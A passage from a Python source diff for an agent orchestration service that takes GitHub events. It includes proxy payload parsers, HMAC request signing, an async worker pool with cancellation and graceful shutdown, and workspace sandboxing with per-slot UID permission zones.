|
||||
del target # remote-resolved on the proxy side from `repo`
|
||||
self._post(
|
||||
"/gh/v1/git/clone",
|
||||
{"repo": repo, "clone_url": clone_url, "default_branch": default_branch},
|
||||
)
|
||||
|
||||
def fetch_pool(self, *, repo: str, pool_dir: Path) -> None:
|
||||
del pool_dir
|
||||
self._post("/gh/v1/git/fetch", {"repo": repo})
|
||||
|
||||
def fetch_base_ref(self, *, repo: str, pool_dir: Path, ref: str) -> None:
|
||||
del pool_dir
|
||||
self._post("/gh/v1/git/fetch_ref", {"repo": repo, "ref": ref})
|
||||
|
||||
def push_branch(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
workspace_key: str,
|
||||
repo_dir: Path,
|
||||
branch: str,
|
||||
expected_head: str,
|
||||
slot_uid: int | None = None,
|
||||
) -> PushResult:
|
||||
del repo_dir
|
||||
body: dict[str, Any] = {
|
||||
"repo": repo,
|
||||
"workspace_key": workspace_key,
|
||||
"branch": branch,
|
||||
"expected_head": expected_head,
|
||||
}
|
||||
if slot_uid is not None:
|
||||
body["slot_uid"] = slot_uid
|
||||
data = self._post("/gh/v1/git/push", body)
|
||||
return PushResult(head=str(data.get("head") or expected_head), branch=str(data.get("branch") or branch))
|
||||
|
||||
|
||||
# ---------- payload helpers ----------
|
||||
|
||||
|
||||
def _repo_from(data: Any) -> RepoInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed repo payload")
|
||||
return RepoInfo(
|
||||
full_name=str(data["full_name"]),
|
||||
default_branch=str(data["default_branch"]),
|
||||
clone_url=str(data["clone_url"]),
|
||||
private=bool(data.get("private", False)),
|
||||
)
|
||||
|
||||
|
||||
def _issue_from(data: Any) -> IssueInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed issue payload")
|
||||
labels = data.get("labels") or []
|
||||
return IssueInfo(
|
||||
repo=str(data["repo"]),
|
||||
number=int(data["number"]),
|
||||
title=str(data.get("title") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
state=str(data.get("state") or "open"),
|
||||
author=str(data.get("author") or ""),
|
||||
labels=tuple(str(x) for x in labels),
|
||||
is_pull_request=bool(data.get("is_pull_request", False)),
|
||||
)
|
||||
|
||||
|
||||
def _issue_summary_from(data: Any) -> IssueSummary:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed issue summary payload")
|
||||
return IssueSummary(
|
||||
repo=str(data["repo"]),
|
||||
number=int(data["number"]),
|
||||
title=str(data.get("title") or ""),
|
||||
state=str(data.get("state") or ""),
|
||||
author=str(data.get("author") or ""),
|
||||
labels=tuple(str(x) for x in (data.get("labels") or [])),
|
||||
comments=int(data.get("comments") or 0),
|
||||
updated_at=str(data.get("updated_at") or ""),
|
||||
created_at=str(data.get("created_at") or ""),
|
||||
html_url=str(data.get("html_url") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _comment_from(data: Any) -> CommentInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed comment payload")
|
||||
return CommentInfo(
|
||||
id=int(data["id"]),
|
||||
author=str(data.get("author") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
created_at=str(data.get("created_at") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _reaction_from(data: Any) -> ReactionInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed reaction payload")
|
||||
return ReactionInfo(
|
||||
content=str(data.get("content") or ""),
|
||||
user_login=str(data.get("user_login") or ""),
|
||||
user_type=str(data.get("user_type") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _review_comment_from(data: Any) -> ReviewCommentInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed review_comment payload")
|
||||
line = data.get("line")
|
||||
return ReviewCommentInfo(
|
||||
id=int(data.get("id") or 0),
|
||||
author=str(data.get("author") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
path=str(data.get("path") or ""),
|
||||
line=line if isinstance(line, int) else None,
|
||||
created_at=str(data.get("created_at") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _pr_review_from(data: Any) -> PullRequestReviewInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed pr_review payload")
|
||||
return PullRequestReviewInfo(
|
||||
id=int(data.get("id") or 0),
|
||||
author=str(data.get("author") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
state=str(data.get("state") or ""),
|
||||
submitted_at=str(data.get("submitted_at") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _pr_from(data: Any) -> PullRequestInfo:
|
||||
if not isinstance(data, dict):
|
||||
raise GitHubError(500, "proxy returned malformed pr payload")
|
||||
return PullRequestInfo(
|
||||
repo=str(data["repo"]),
|
||||
number=int(data["number"]),
|
||||
html_url=str(data["html_url"]),
|
||||
head_ref=str(data.get("head_ref") or ""),
|
||||
base_ref=str(data.get("base_ref") or ""),
|
||||
state=str(data.get("state") or "open"),
|
||||
author=str(data.get("author") or ""),
|
||||
head_repo=str(data.get("head_repo") or ""),
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["GitHubProxyClient", "ProxyGitTransport"]
|
||||
@@ -0,0 +1,98 @@
|
||||
"""Shared HMAC signing/verification for the roboomp ↔ gh-proxy channel.
|
||||
|
||||
Roboomp signs every request to gh-proxy with an HMAC-SHA256 over
|
||||
`(method, path, timestamp, sha256(body))`. The shared secret never leaves
|
||||
either container's memory, and the ±skew window bounds the replay surface.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import time
|
||||
from typing import NamedTuple
|
||||
|
||||
# Headers on every roboomp→gh-proxy request.
|
||||
HEADER_TIMESTAMP = "X-Robomp-Timestamp" # unix seconds, integer string
|
||||
HEADER_SIGNATURE = "X-Robomp-Sig" # hex-encoded HMAC-SHA256
|
||||
|
||||
# ±skew permits modest clock drift while keeping the replay window small.
|
||||
DEFAULT_SKEW_SECONDS = 30
|
||||
|
||||
|
||||
def _string_to_sign(method: str, path: str, timestamp: str, body: bytes) -> bytes:
|
||||
return b"\n".join(
|
||||
(
|
||||
method.upper().encode("ascii"),
|
||||
path.encode("utf-8"),
|
||||
timestamp.encode("ascii"),
|
||||
hashlib.sha256(body or b"").hexdigest().encode("ascii"),
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def sign(
|
||||
*,
|
||||
method: str,
|
||||
path: str,
|
||||
body: bytes,
|
||||
key: bytes,
|
||||
timestamp: str | None = None,
|
||||
) -> tuple[str, str]:
|
||||
"""Return `(timestamp, signature_hex)` for the given request shape.
|
||||
|
||||
`timestamp` may be supplied explicitly (replay tests); otherwise the
|
||||
current unix epoch in integer seconds is used. `path` MUST be the URL
|
||||
path-only portion (no scheme, host, or query string trimming) so client
|
||||
and server agree on the canonical form.
|
||||
"""
|
||||
ts = timestamp if timestamp is not None else str(int(time.time()))
|
||||
sig = hmac.new(key, _string_to_sign(method, path, ts, body), hashlib.sha256).hexdigest()
|
||||
return ts, sig
|
||||
|
||||
|
||||
class VerifyResult(NamedTuple):
|
||||
ok: bool
|
||||
reason: str
|
||||
|
||||
|
||||
def verify(
|
||||
*,
|
||||
method: str,
|
||||
path: str,
|
||||
body: bytes,
|
||||
timestamp: str | None,
|
||||
signature: str | None,
|
||||
key: bytes,
|
||||
now: float | None = None,
|
||||
skew: int = DEFAULT_SKEW_SECONDS,
|
||||
) -> VerifyResult:
|
||||
"""Validate an incoming request. Returns `(ok, reason)`.
|
||||
|
||||
Any malformed input returns ok=False with a short reason. The reason
|
||||
string is suitable for logging but should NOT be echoed back to the
|
||||
caller (it leaks whether the failure was timestamp vs signature).
|
||||
"""
|
||||
if not timestamp or not signature:
|
||||
return VerifyResult(False, "missing signature headers")
|
||||
try:
|
||||
ts_int = int(timestamp)
|
||||
except ValueError:
|
||||
return VerifyResult(False, "malformed timestamp")
|
||||
now_int = int(now if now is not None else time.time())
|
||||
if abs(now_int - ts_int) > skew:
|
||||
return VerifyResult(False, "timestamp outside skew window")
|
||||
expected = hmac.new(key, _string_to_sign(method, path, timestamp, body), hashlib.sha256).hexdigest()
|
||||
if not hmac.compare_digest(expected, signature):
|
||||
return VerifyResult(False, "signature mismatch")
|
||||
return VerifyResult(True, "")
|
||||
|
||||
|
||||
__all__ = [
|
||||
"DEFAULT_SKEW_SECONDS",
|
||||
"HEADER_SIGNATURE",
|
||||
"HEADER_TIMESTAMP",
|
||||
"VerifyResult",
|
||||
"sign",
|
||||
"verify",
|
||||
]
|
||||
@@ -0,0 +1,409 @@
|
||||
"""Async worker pool draining the durable sqlite event queue."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import traceback
|
||||
from collections.abc import Callable
|
||||
from contextlib import suppress
|
||||
|
||||
from robomp import tasks
|
||||
from robomp.cancellation import clear_current_event, set_current_event
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, EventRow
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.sandbox import GitTransport, SandboxManager, _reap_slot
|
||||
from robomp.slot_pool import SlotPool
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WorkerPool:
|
||||
"""Long-lived dispatcher: drains queued events into per-task coroutines."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
sandbox: SandboxManager,
|
||||
git_transport: GitTransport,
|
||||
slot_pool: SlotPool | None = None,
|
||||
) -> None:
|
||||
self.settings = settings
|
||||
self.db = db
|
||||
self.github = github
|
||||
self.sandbox = sandbox
|
||||
self.git_transport = git_transport
|
||||
self._workers: list[asyncio.Task[None]] = []
|
||||
self._wakeup = asyncio.Event()
|
||||
self._stop = asyncio.Event()
|
||||
self._slot_pool: SlotPool | None
|
||||
self._semaphore: asyncio.Semaphore | None
|
||||
if slot_pool is not None:
|
||||
self._slot_pool = slot_pool
|
||||
self._semaphore = None
|
||||
elif os.geteuid() == 0:
|
||||
self._slot_pool = SlotPool(range(2001, 2001 + settings.max_concurrency))
|
||||
self._semaphore = None
|
||||
else:
|
||||
self._slot_pool = None
|
||||
self._semaphore = asyncio.Semaphore(settings.max_concurrency)
|
||||
self._inflight: set[str] = set()
|
||||
self._inflight_lock = asyncio.Lock()
|
||||
# Cancellation: workers register a stop hook via the contextvar helpers
|
||||
# in this module; the API surface fires them on demand. Plain dict/set
|
||||
# are GIL-safe for single-key ops, which is all we do.
|
||||
self._cancel_hooks: dict[str, Callable[[], None]] = {}
|
||||
self._cancelled: set[str] = set()
|
||||
# Phase B (graceful shutdown): track each spawned `_run_event` task so
|
||||
# `stop()` can drain in-flight work, and a flag the exception path
|
||||
# checks to avoid marking shutdown-interrupted rows as `failed` (we
|
||||
# want them to stay `running` so `reset_stuck_running()` requeues
|
||||
# them on next start; the agent then resumes via `--continue`).
|
||||
self._inflight_tasks: dict[asyncio.Task[None], str] = {}
|
||||
self._shutting_down: bool = False
|
||||
# Deliveries whose `_run_event` we deliberately interrupted via
|
||||
# `stop()` (either by firing the registered cancel hook or by
|
||||
# cancelling the asyncio task itself). The exception path uses
|
||||
# this — NOT `_shutting_down` — to decide whether to suppress
|
||||
# `mark_event(..., 'failed')`. Without this distinction, an
|
||||
# unrelated dispatch failure during the drain window would be
|
||||
# silently masked and requeued as if nothing went wrong.
|
||||
self._shutdown_cancelled: set[str] = set()
|
||||
|
||||
def wake(self) -> None:
|
||||
"""Signal that new work is available."""
|
||||
self._wakeup.set()
|
||||
|
||||
async def inflight_snapshot(self) -> list[str]:
|
||||
"""Return a stable, sorted snapshot of currently in-flight issue keys."""
|
||||
async with self._inflight_lock:
|
||||
return sorted(self._inflight)
|
||||
|
||||
async def _reap_all_slots(self) -> None:
|
||||
if self._slot_pool is None:
|
||||
return
|
||||
await asyncio.gather(*(asyncio.to_thread(_reap_slot, uid) for uid in self._slot_pool.slot_uids))
|
||||
|
||||
async def start(self) -> None:
|
||||
await self._reap_all_slots()
|
||||
recovered = self.db.reset_stuck_running()
|
||||
if recovered:
|
||||
log.info("recovered stuck events", extra={"count": recovered})
|
||||
# Single dispatcher loop is simpler than N workers; concurrency is gated by the slot pool.
|
||||
self._workers.append(asyncio.create_task(self._dispatch_loop(), name="robomp-dispatch"))
|
||||
# Periodic natives-cache GC, if enabled. Sleep-first so a freshly
|
||||
# restarted orchestrator doesn't burn CPU on a cold cache.
|
||||
if self.sandbox.natives_cache is not None and self.settings.natives_cache_gc_interval_seconds > 0:
|
||||
self._workers.append(asyncio.create_task(self._natives_cache_gc_loop(), name="robomp-natives-gc"))
|
||||
|
||||
async def stop(self, *, drain_timeout: float = 25.0, kill_timeout: float = 5.0) -> None:
|
||||
"""Halt the dispatcher, then drain (or kill) in-flight `_run_event` tasks.
|
||||
|
||||
Cleanly interrupted tasks intentionally leave their DB row in
|
||||
`running` so the next `WorkerPool.start()` re-queues them via
|
||||
`reset_stuck_running()`. The resumed omp session then picks up via
|
||||
`--continue` from the persisted JSONL transcript.
|
||||
"""
|
||||
self._shutting_down = True
|
||||
self._stop.set()
|
||||
self._wakeup.set()
|
||||
# 1. Halt the dispatcher (no new claims).
|
||||
for worker in self._workers:
|
||||
worker.cancel()
|
||||
for worker in self._workers:
|
||||
with suppress(asyncio.CancelledError):
|
||||
await worker
|
||||
self._workers.clear()
|
||||
# 2. Give in-flight tasks a chance to drain.
|
||||
pending = list(self._inflight_tasks)
|
||||
if not pending:
|
||||
return
|
||||
log.info("draining in-flight tasks", extra={"count": len(pending), "timeout": drain_timeout})
|
||||
_, still_running = await asyncio.wait(pending, timeout=drain_timeout)
|
||||
if not still_running:
|
||||
return
|
||||
# 3. Time's up — for every still-running task: fire its cancel hook
|
||||
# if one was registered (kills the omp subprocess); otherwise
|
||||
# cancel the asyncio task itself so a worker stuck pre-hook
|
||||
# (e.g. waiting on the slot pool or inside RpcClient.__enter__)
|
||||
# cannot proceed to spawn a fresh subprocess after stop()
|
||||
# returns. Either way we record the delivery id in
|
||||
# `_shutdown_cancelled` so `_run_event`'s exception path
|
||||
# suppresses `mark_event(..., 'failed')` for that row only.
|
||||
log.warning("shutdown timeout; interrupting in-flight tasks", extra={"count": len(still_running)})
|
||||
for task in still_running:
|
||||
delivery_id = self._inflight_tasks.get(task)
|
||||
if delivery_id is None:
|
||||
# Task was already finalizing; nothing left to interrupt.
|
||||
task.cancel()
|
||||
continue
|
||||
self._shutdown_cancelled.add(delivery_id)
|
||||
hook = self._cancel_hooks.pop(delivery_id, None)
|
||||
if hook is not None:
|
||||
try:
|
||||
await asyncio.to_thread(hook)
|
||||
except Exception:
|
||||
log.exception("shutdown hook raised", extra={"delivery": delivery_id})
|
||||
continue
|
||||
# No hook armed yet — the worker hasn't reached the omp spawn
|
||||
# point. Cancel the asyncio task directly so its body cannot
|
||||
# run past stop().
|
||||
task.cancel()
|
||||
# 4. Brief wait for the exception path / cancellation to settle.
|
||||
with suppress(TimeoutError):
|
||||
await asyncio.wait(still_running, timeout=kill_timeout)
|
||||
|
||||
async def _natives_cache_gc_loop(self) -> None:
|
||||
"""Periodic sweep over every per-repo cache directory.
|
||||
|
||||
Each iteration sleeps the configured interval first, then runs the
|
||||
synchronous GC on a worker thread. Cancellation is the only exit;
|
||||
any per-sweep failure is logged and the loop continues.
|
||||
"""
|
||||
cache = self.sandbox.natives_cache
|
||||
if cache is None: # pragma: no cover — checked by caller
|
||||
return
|
||||
interval = self.settings.natives_cache_gc_interval_seconds
|
||||
log.info("natives_cache gc loop online", extra={"interval": interval})
|
||||
try:
|
||||
while not self._stop.is_set():
|
||||
try:
|
||||
await asyncio.wait_for(self._stop.wait(), timeout=interval)
|
||||
return # stop was set during the wait
|
||||
except TimeoutError:
|
||||
pass
|
||||
try:
|
||||
evicted = await asyncio.to_thread(cache.gc)
|
||||
if evicted:
|
||||
log.info("natives_cache gc swept", extra={"evicted": evicted})
|
||||
except Exception:
|
||||
log.exception("natives_cache gc raised")
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
|
||||
async def _dispatch_loop(self) -> None:
|
||||
log.info("dispatch loop online")
|
||||
try:
|
||||
while not self._stop.is_set():
|
||||
row = await self._claim_next_unique()
|
||||
if row is None:
|
||||
self._wakeup.clear()
|
||||
try:
|
||||
await asyncio.wait_for(self._wakeup.wait(), timeout=10.0)
|
||||
except TimeoutError:
|
||||
pass
|
||||
continue
|
||||
# Schedule the task; the slot pool caps concurrent execution.
|
||||
task = asyncio.create_task(self._run_event(row), name=f"robomp-event-{row.delivery_id[:8]}")
|
||||
self._inflight_tasks[task] = row.delivery_id
|
||||
task.add_done_callback(lambda t: self._inflight_tasks.pop(t, None))
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception:
|
||||
log.exception("dispatch loop crashed")
|
||||
|
||||
async def _claim_next_unique(self) -> EventRow | None:
|
||||
"""Claim the next event whose issue isn't already inflight."""
|
||||
# The DB layer doesn't filter by issue_key; we peek then guard with a set.
|
||||
async with self._inflight_lock:
|
||||
# Naive but fine for v1 (small queue).
|
||||
row = await asyncio.to_thread(self.db.claim_next_event)
|
||||
if row is None:
|
||||
return None
|
||||
key = row.issue_key or row.delivery_id
|
||||
if key in self._inflight:
|
||||
# Put it back; another in-flight task is touching the same issue.
|
||||
await asyncio.to_thread(self.db.requeue_event, row.delivery_id, from_states=("running",))
|
||||
# Sleep briefly so we don't spin.
|
||||
await asyncio.sleep(0.5)
|
||||
return None
|
||||
self._inflight.add(key)
|
||||
return row
|
||||
|
||||
async def _release(self, row: EventRow) -> None:
|
||||
key = row.issue_key or row.delivery_id
|
||||
async with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
|
||||
def _arm_cancel(self, delivery_id: str, hook: Callable[[], None]) -> None:
|
||||
"""Worker-side: install the cancel hook.
|
||||
|
||||
If cancellation was already requested before the worker reached this
|
||||
point, fire the hook immediately so we don't lose the signal.
|
||||
"""
|
||||
if delivery_id in self._cancelled:
|
||||
try:
|
||||
hook()
|
||||
except Exception:
|
||||
log.exception("late cancel fire failed", extra={"delivery": delivery_id})
|
||||
return
|
||||
self._cancel_hooks[delivery_id] = hook
|
||||
|
||||
def _disarm_cancel(self, delivery_id: str) -> None:
|
||||
"""Worker-side: clear the cancel hook (the resource is gone)."""
|
||||
self._cancel_hooks.pop(delivery_id, None)
|
||||
|
||||
async def cancel_event(self, delivery_id: str) -> bool:
|
||||
"""Request cancellation of a running event. Returns whether a hook fired.
|
||||
|
||||
Marks the delivery as cancelled regardless of whether a worker is
|
||||
currently armed, so a late-armed hook still observes the request. The
|
||||
worker thread's exception path is what eventually transitions the row
|
||||
to `failed` with a cancellation marker.
|
||||
"""
|
||||
self._cancelled.add(delivery_id)
|
||||
hook = self._cancel_hooks.pop(delivery_id, None)
|
||||
if hook is None:
|
||||
return False
|
||||
# `hook` typically kills a subprocess; run it off the loop so its wait()
|
||||
# doesn't stall the event loop for up to the omp shutdown grace period.
|
||||
try:
|
||||
await asyncio.to_thread(hook)
|
||||
except Exception:
|
||||
log.exception("cancel hook raised", extra={"delivery": delivery_id})
|
||||
return True
|
||||
|
||||
async def _run_event(self, row: EventRow) -> None:
|
||||
token = set_current_event(self, row.delivery_id)
|
||||
slot_uid: int | None = None
|
||||
slot_acquired = False
|
||||
try:
|
||||
if self._slot_pool is not None:
|
||||
slot_uid = await self._slot_pool.acquire()
|
||||
slot_acquired = True
|
||||
await self._dispatch_and_mark(row, slot_uid=slot_uid)
|
||||
elif self._semaphore is not None:
|
||||
async with self._semaphore:
|
||||
await self._dispatch_and_mark(row)
|
||||
else:
|
||||
await self._dispatch_and_mark(row)
|
||||
except Exception as exc:
|
||||
if row.delivery_id in self._shutdown_cancelled:
|
||||
# `stop()` deliberately interrupted this delivery —
|
||||
# leave the row in `running` so `reset_stuck_running()`
|
||||
# flips it back to `queued` on the next start and the
|
||||
# resumed omp session picks up via `--continue`.
|
||||
# Other exceptions during the drain window (which
|
||||
# would also see `_shutting_down=True`) MUST still
|
||||
# mark the row failed; otherwise a genuine bug gets
|
||||
# silently requeued.
|
||||
log.info(
|
||||
"event interrupted by shutdown",
|
||||
extra={"delivery": row.delivery_id, "key": row.issue_key},
|
||||
)
|
||||
elif row.delivery_id in self._cancelled:
|
||||
log.info("event cancelled", extra={"delivery": row.delivery_id})
|
||||
self.db.mark_event(row.delivery_id, "failed", error="cancelled by operator")
|
||||
else:
|
||||
tb = traceback.format_exc(limit=20)
|
||||
log.exception("event handler failed", extra={"delivery": row.delivery_id})
|
||||
self.db.mark_event(row.delivery_id, "failed", error=f"{exc}\n{tb}")
|
||||
finally:
|
||||
self._cancelled.discard(row.delivery_id)
|
||||
self._shutdown_cancelled.discard(row.delivery_id)
|
||||
self._cancel_hooks.pop(row.delivery_id, None)
|
||||
if slot_acquired and self._slot_pool is not None:
|
||||
try:
|
||||
_reap_slot(slot_uid)
|
||||
finally:
|
||||
self._slot_pool.release(slot_uid)
|
||||
await self._release(row)
|
||||
clear_current_event(token)
|
||||
|
||||
async def _dispatch_and_mark(self, row: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
await self._dispatch(row, slot_uid=slot_uid)
|
||||
if row.delivery_id in self._cancelled:
|
||||
self.db.mark_event(row.delivery_id, "failed", error="cancelled by operator")
|
||||
else:
|
||||
self.db.mark_event(row.delivery_id, "done")
|
||||
|
||||
async def _dispatch(self, row: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
event = row.event_type
|
||||
action = str(row.payload.get("action") or "")
|
||||
log.info(
|
||||
"dispatch",
|
||||
extra={
|
||||
"event": event,
|
||||
"action": action,
|
||||
"delivery": row.delivery_id,
|
||||
"key": row.issue_key,
|
||||
"attempts": row.attempts,
|
||||
"recovered": row.attempts >= 2,
|
||||
},
|
||||
)
|
||||
if event == "issues" and action == "opened":
|
||||
await tasks.triage_issue(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
github=self.github,
|
||||
sandbox=self.sandbox,
|
||||
git_transport=self.git_transport,
|
||||
payload=row.payload,
|
||||
delivery_id=row.delivery_id,
|
||||
attempts=row.attempts,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
elif event == "issue_comment" and action == "created":
|
||||
issue = row.payload.get("issue") or {}
|
||||
if "pull_request" in issue:
|
||||
await tasks.handle_pr_conversation(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
github=self.github,
|
||||
sandbox=self.sandbox,
|
||||
git_transport=self.git_transport,
|
||||
payload=row.payload,
|
||||
delivery_id=row.delivery_id,
|
||||
attempts=row.attempts,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
else:
|
||||
await tasks.handle_comment(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
github=self.github,
|
||||
sandbox=self.sandbox,
|
||||
git_transport=self.git_transport,
|
||||
payload=row.payload,
|
||||
delivery_id=row.delivery_id,
|
||||
attempts=row.attempts,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
elif event == "pull_request_review_comment" and action == "created":
|
||||
await tasks.handle_review(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
github=self.github,
|
||||
sandbox=self.sandbox,
|
||||
git_transport=self.git_transport,
|
||||
payload=row.payload,
|
||||
delivery_id=row.delivery_id,
|
||||
attempts=row.attempts,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
elif event == "issues" and action == "closed":
|
||||
await tasks.cleanup_workspace(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
sandbox=self.sandbox,
|
||||
payload=row.payload,
|
||||
target_state="closed",
|
||||
)
|
||||
elif event == "pull_request" and action == "closed":
|
||||
await tasks.cleanup_workspace(
|
||||
settings=self.settings,
|
||||
db=self.db,
|
||||
sandbox=self.sandbox,
|
||||
payload=row.payload,
|
||||
target_state="merged",
|
||||
)
|
||||
else:
|
||||
log.info("no-op dispatch", extra={"event": event, "action": action})
|
||||
|
||||
|
||||
__all__ = ["WorkerPool"]
|
||||
@@ -0,0 +1,896 @@
|
||||
"""Per-issue workspace lifecycle: clone pool + git worktrees.
|
||||
|
||||
The remote-facing git operations (clone, fetch, push) go through a pluggable
|
||||
`GitTransport` so a deploy can keep the PAT entirely in a separate `gh-proxy`
|
||||
container. The default `LocalGitTransport` runs git in-process with ephemeral
|
||||
PAT injection via `--config-env` (see `robomp.git_ops`); the `ProxyGitTransport`
|
||||
in `robomp.proxy_client` forwards the same set of operations over HMAC RPC.
|
||||
|
||||
Per-issue worktree add/remove stays local — those operations only touch the
|
||||
shared on-disk pool clone, no remote authentication required.
|
||||
|
||||
Permission model
|
||||
----------------
|
||||
There are four ownership zones on disk; do not let them blur:
|
||||
|
||||
1. **Workspace tree** (`/data/workspaces/<key>/`, including `repo/`,
|
||||
`.omp-session/`, `context/`, `artifacts/`, `.omp-tmp/`, `.omp-xdg/`):
|
||||
single-owner. Owned by the active slot UID/GID (`omp-N`) with mode
|
||||
`u=rwX,g=rwX,o=` (effectively `0770` dirs / `0660` files; the group is
|
||||
the slot's own private gid so group bits are functionally identical to
|
||||
owner-only). The orchestrator (root) reads/writes via uid-0 bypass when
|
||||
it must, and drops to the slot for any subprocess that touches paths the
|
||||
agent will revisit. `ensure_workspace` + `_chown_workspace` are the
|
||||
single point of truth for this zone — no other helper sets ownership
|
||||
inside `ws_root`.
|
||||
2. **Clone pool** (`/data/workspaces/_pool/<owner>__<repo>/`): genuinely
|
||||
multi-slot. Owned by `root:omp` (gid 2000) with setgid `02770`; cross-slot
|
||||
writes are bridged by `_share_git_metadata_with_slots`.
|
||||
3. **Language tool caches** (`/data/cache/{cargo,cargo-target,rustup,bun-cache}`):
|
||||
multi-slot. Owned by `root:omp` with setgid `02770`; provisioned by
|
||||
`entrypoint.sh`.
|
||||
4. **Agent HOME template** (`/srv/agent-home`): read-only, `root:root`
|
||||
`0755/0644`.
|
||||
|
||||
Bun's install cache stays workspace-private (zone 1) on purpose — bun
|
||||
chmod/utimes its own cache root, which breaks any shared-cache scheme.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import secrets
|
||||
import shutil
|
||||
import signal
|
||||
import stat
|
||||
import subprocess
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Protocol
|
||||
|
||||
from robomp.git_ops import (
|
||||
GitCommandError,
|
||||
PushResult,
|
||||
redact_credentials,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
clone as git_clone,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_prune as git_fetch_prune,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_ref as git_fetch_ref,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
push as git_push,
|
||||
)
|
||||
from robomp.natives_cache import CacheHit, NativesCache
|
||||
from robomp.natives_cache import compute_key as natives_compute_key
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class Workspace:
|
||||
"""Resolved per-issue scratch space."""
|
||||
|
||||
root: Path
|
||||
repo_dir: Path
|
||||
session_dir: Path
|
||||
context_dir: Path
|
||||
artifacts_dir: Path
|
||||
branch: str
|
||||
repo_full_name: str
|
||||
issue_number: int
|
||||
|
||||
@property
|
||||
def repro_dir(self) -> Path:
|
||||
return self.context_dir / "repro"
|
||||
|
||||
@property
|
||||
def workspace_key(self) -> str:
|
||||
return workspace_key(self.repo_full_name, self.issue_number)
|
||||
|
||||
|
||||
def _slug(text: str, *, length: int = 40) -> str:
|
||||
cleaned = re.sub(r"[^a-z0-9]+", "-", text.lower()).strip("-")
|
||||
if not cleaned:
|
||||
cleaned = "issue"
|
||||
return cleaned[:length]
|
||||
|
||||
|
||||
def _short_hex(seed: str | None = None) -> str:
|
||||
if seed:
|
||||
return hashlib.sha1(seed.encode("utf-8")).hexdigest()[:8]
|
||||
return secrets.token_hex(4)
|
||||
|
||||
|
||||
def workspace_key(repo: str, number: int) -> str:
|
||||
return f"{repo.replace('/', '__')}__{number}"
|
||||
|
||||
|
||||
def _safe_directory_env(repo_dir: Path) -> dict[str, str]:
|
||||
"""Return a Git config env overlay whitelisting ``repo_dir`` as safe."""
|
||||
return {
|
||||
"GIT_CONFIG_COUNT": "1",
|
||||
"GIT_CONFIG_KEY_0": "safe.directory",
|
||||
"GIT_CONFIG_VALUE_0": str(repo_dir),
|
||||
}
|
||||
|
||||
|
||||
def _git_env_for_repo(repo_dir: Path) -> dict[str, str]:
|
||||
env = os.environ.copy()
|
||||
env.update(_safe_directory_env(repo_dir))
|
||||
env["GIT_TERMINAL_PROMPT"] = "0"
|
||||
return env
|
||||
|
||||
|
||||
def make_branch(*, issue_number: int, title: str, seed: str | None = None) -> str:
|
||||
return f"farm/{_short_hex(seed or f'{issue_number}-{title}')}/{_slug(title or f'issue-{issue_number}')}"
|
||||
|
||||
|
||||
_BRANCH_SLUG_RE = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$")
|
||||
|
||||
|
||||
def validate_branch_slug(slug: object) -> str:
|
||||
"""Return ``slug`` if it is a valid kebab-case branch slug, else raise.
|
||||
|
||||
Rules: 1-50 chars, only ``[a-z0-9-]``, no leading/trailing hyphen, no
|
||||
double hyphen. Raises ``ValueError`` otherwise.
|
||||
"""
|
||||
if not isinstance(slug, str) or not _BRANCH_SLUG_RE.fullmatch(slug) or len(slug) > 50:
|
||||
raise ValueError(
|
||||
